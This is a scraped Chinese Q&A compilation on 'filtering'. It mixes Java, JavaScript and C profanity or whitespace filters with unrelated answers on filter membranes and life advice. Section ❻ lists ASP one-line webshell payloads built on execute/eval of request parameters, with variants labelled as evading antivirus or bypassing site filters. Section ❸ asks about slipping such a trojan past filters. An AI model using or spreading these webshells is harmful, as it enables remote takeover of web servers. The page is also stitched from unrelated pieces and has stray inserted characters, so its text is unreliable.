过滤的句子
❶ 在Jsp页面或者Filter过滤器中怎么过滤脏话
不管是JSP还是Servlet,其Filter过滤器都是一个东西。因为JSP的本质就是Servlet,只不过是被包装了一下,成了标准,让Web服务器都遵循这个标准来解析编译执行而已。 以下演示的就是在JSP中如何过滤脏话(Servlet的处理方式也差不多): 一、 过滤器类 package com.filter;import java.io.BufferedReader;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.util.Set;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;public class WordsFilter implements Filter { private Map< String, String>map = new HashMap< String, String>(); //过滤器的初始化 public void init(FilterConfig config) throws ServletException { String filePath = config.getInitParameter("filePath");//从配置文件中取得文件的相对路径 ServletContext context = config.getServletContext(); String realPath = context.getRealPath(filePath);//根据相对路径取得绝对路径 try { FileReader freader = new FileReader(realPath);//根据绝对路径,通过文件流来读取文件 BufferedReader br = new BufferedReader(freader); String line = null; while((line=br.readLine()) != null) { String []str = line.split("="); map.put(str[0], str[1]); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { //乱码处理 request.setCharacterEncoding("gb2312"); response.setContentType("text/html;charset=gb2312"); HttpServletRequest HttpReq = (HttpServletRequest) request; HttpReqWrapper hrw = new HttpReqWrapper(HttpReq); hrw.setMap(map); chain.doFilter(hrw, response); } public void destroy() { System.out.println("--过滤器的销毁--"); } }二、请求包装器
package com.filter;import java.util.Iterator;import java.util.Map;import java.util.Set;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletRequestWrapper;public class HttpReqWrapper extends HttpServletRequestWrapper { private Map< String,String> map = null; public HttpReqWrapper(HttpServletRequest request) { super(request); } //过滤脏话 public String replace(String str){ StringBuffer sb = new StringBuffer(str); Setkeys = this.getMap().keySet(); Iteratorit = keys.iterator(); String ss = null; while(it.hasNext()) { String key = it.next(); int index = sb.indexOf(key); if(index != -1) { if(key != null) ss = key; sb.replace(index, index+key.length(), this.getMap().get(key)); } } if(ss!=null) { if (sb.toString().indexOf(ss) == -1) { return sb.toString(); } else { return replace(sb.toString()); } } return sb.toString(); }// 重写getParameter()方法 public String getParameter(String str) { if(str.equals("pager.offset")){ return super.getParameter(str); }else{ String content = super.getParameter(str); return replace(content); } } public Map< String,String> getMap() { return map; } public void setMap(Map< String,String> map) { this.map = map; } }
三、脏话列表word.txt妈的=**
老子=**
狗日的=***
我日=我*
TMD=***
我靠=我*
贱人=**
滚=*
操=*
四、web.xml中配置过滤器
<filter>
<filter-name>WordsFilter</filter-name>
<filter-class>com.filter.WordsFilter</filter-class>
<init-param>
<param-name>filePath</param-name>
<param-value>/WEB-INF/word.txt</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>WordsFilter</filter-name>
<url-pattern>/getNote.jsp</url-pattern>
</filter-mapping>
❷ 过滤么过滤的话用什么滤膜呢
滤膜,处理溶液中溶质的分离和增浓,也常用于胶状悬浮液的分离,其应用领域版在不断扩大。
主要权种类
超滤膜、微孔滤膜、纳滤膜、微滤膜、中空纤维超滤膜、赛尔滤膜等。而目前超滤膜应用最广泛,按滤膜形式,主要分为卷式,板框式,管式和中空纤维式滤膜等。
❸ 一句话木马饶过过滤
愿我的答案 能够解决您的烦忧
加壳或者免杀就能通过,想绕过去太难了版,你可以一点一点试权试
1,什么时候你能通过我下面的杀毒办法了,那么说明你已经成为大神了。
2,下载腾讯电脑管家“8.4”最新版,对电脑首先进行一个体检,打开所有防火墙避免系统其余文件被感染。
3,打开杀毒页面开始查杀,切记要打开小红伞引擎。
4,如果普通查杀不能解决问题,您可以打开腾讯电脑管家---工具箱---顽固木马专杀- 进行深度
扫描。
5,查杀处理完所有病毒后,立刻重启电脑,再进行一次安全体检,清除多余系统缓存文件,避免二次感染。
如果您对我的答案不满意,可以继续追问或者提出宝贵意见,谢谢
❹ 脏话过滤问题
自己做一个聊天程序,就可以自动过滤这些东西,但如果用别人已经做好的软件有点难度了。我以前也编个聊天程序,而且特意把过滤脏话的功能加上。不过只是自己编着玩,没加好的界面。
❺ 如何把那些无关紧要说的话没用的给过滤掉不放在心上。。。。
既然知道是无关紧要何必放在心上,转移注意力,听听歌,和朋友出去玩,忘掉一切和自己无关的事情。
❻ 一句话木马及几种可绕过过滤格式
2. <%executerequest("YouPass")%> 3. <%execute(request("YouPass"))%>免杀大部分网站的一句话 4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>绕过部版分网站过滤<%,%>的一句话 5.<script language=VBScript runat=server>execute request("YouPass")</script>绕过部分网站过滤双引号权的一句话 6.<%eval request(YouPass(35))%>php一句话 7.<?>
❼ js 聊天框过滤脏话怎么写
草||
varinput.value="大坏蛋哦哦草";
varsensitivity="草|内日";//配置脏容话
varsen_arr=sensitivity.split("|");
for(vari=0;i<sen_arr.length;i++){
input.value=input.value.replace(sen_arr[i],"*");
}
❽ 不好听的语气和话我自动过滤,不好的事情和意思,我都屏蔽。我能做到吗,要有信心。
只要功夫深,铁杵磨成针。有志者,事竟成。你一定能做到,加油。
❾ pascal一个句子中也许有多个连续空格,过滤掉多余的空格,只留下一个空格。
什么来意思,看源不懂,是这样么?
#include "stdio.h"
#include"string.h"
int main()
{
char zfc[1000],cs[1000];
//加上下面两句
memset(zfc,0,1000);
memset(cs,0,1000);
int y,e=0,j=0,i=0;
gets(zfc);
y=strlen(zfc);
while(i<y){
e=0;
cs[j]=zfc[i];
if(zfc[i]==' '){
for(int a=i+1;a<y;a++){
if(zfc[a]==' '){
e++;
continue;
}
else{
break;
}
}
i=i+e;
}
j++;
i++;
}
cs[j+1]='\0';
printf("%s",cs);
return 0;
}
❿ 求一段JS过滤脏话的代码
可以研究一下正则表达式:
var s="你好哎呦,嘟嘟,我们一起去吃饭吧?";//这个假设是你表单的文字
var reg=/(哎呦)|(嘟嘟)/g;//这个就是正则式了,将想过滤的词汇放在这里
var str=s.match(reg).join("\",\"");//match可以将符合的词汇挑出来组成一个数组
alert("请不要使用\""+str+"\"等不文明词汇!");